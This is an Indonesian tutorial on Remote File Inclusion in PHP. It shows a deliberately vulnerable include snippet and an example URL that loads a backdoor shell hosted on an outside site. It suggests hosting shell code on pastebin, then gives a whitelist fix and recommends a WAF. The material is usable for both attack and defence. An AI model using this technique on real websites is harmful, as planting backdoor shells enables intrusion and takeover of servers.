setelah artikel sebelumnya ibaratnya RFI adalah sodaranya, yaa gitulah. jadi pada artikel ini kita akan membahas secara singkat dan eksploitasi celah remote file inclusion.
What is RFI?
Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target.
Hampir sama dengan LFI, RFI disebabkan oleh include yang tidak terfilter dengan baik. namun perbedaanya, kalau LFI itu summon file lokal dari server itu sendiri, kalo RFI summon dan mengeksekusi file dari server lain.
Bahaya RFI
yaa simpel saja attacker dapat dengan mudah mengeksekusi server dengan shell backdoor. tau kan bagaimana ngerinya kalau shell backdoor telah tertanam di website kamu?
Cara eksekusi vulnerability RFI
simpel saja misal disini kasusnya web korban tidak ada filter sama sekali pada inputannya seperti ini
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1">Page 1</a> | <a href="index.php?page=page2">Page 2</a> | <a href="index.php?page=page3">Page 3</a> <hr/> <?php if (isset($_GET['page'])) { include $_GET['page']; } else { echo "<p>This is the front page.</p>"; } ?> </body>
nah selain itu ada syarat lagi untuk RFI tereksekusi, yaitu server mengizinkan
url include pada file php.ini
nya
allow_url_include=On |
nah apabila 2 hal tersebut terjadi, maka RFI dapat dieksekusi. pertama yang
kamu butuhkan adalah shell backdoor yang telah terhosting pada suatu website
dan berekstensi .txt. kenapa harus berekstensi .txt? karena bila berekstensi .php maka yang berjalan diserver yang kita ambil source code shellnya, bukan berjalan pada server target. kemudian kita dapat mengeksekusinya pada parameter web
yang vuln dengan menggunakan
php wrapper http://
.
http://localhost/RFI/index.php?page=http://sexx.eu5.org/mar.txt |
dan gotcha! shell dapat berjaln degan baik. selanjutnya terserah mau diapakan ini web.
Ingfo!
kamu bisa menggunakan pastebin.com untuk menyimpan source code shell kamu
Mencegah RFI
periksa kembali pada setiap inputan pada parameter request, cookie, dan http header. kamu juga bisa melakukan whitelisting pada kodingan seperti berikut sama seperti patch LFI pada artikel sebelumnya
<body> <h1>Welcome to My Website</h1> <a href="index.php">Home</a> | <a href="index.php?page=page1">Page 1</a> | <a href="index.php?page=page2">Page 2</a> | <a href="index.php?page=page3">Page 3</a> <hr/> <?php $whitelist = array("page1", "page2", "page3"); // halaman apa saja yang boleh di include if (isset($_GET['page'])) { if ( !in_array($_GET['page'], $whitelist)) { //kalau parameter page tidak ada di white list die("Invalid Page"); // maka langsung exit dengan pesan Invalid Page } else { include "page/" . $_GET['page'] . ".php"; } } else { echo "<p>This is the front page.</p>"; } ?> </body>
apabila terdengar ribet dan membingungkan kamu dapat memasang Web Application Firewall (WAF) yang telah dilengkapi dengan modul anti RFI sehingga tidak perlu repot lagi melakukan perbaikan kode pada existing system pada web kamu.
sekian artikel Remote File Inclusion (RFI) dalam eksploitasi semoga dapat mengisi waktu luang kamu.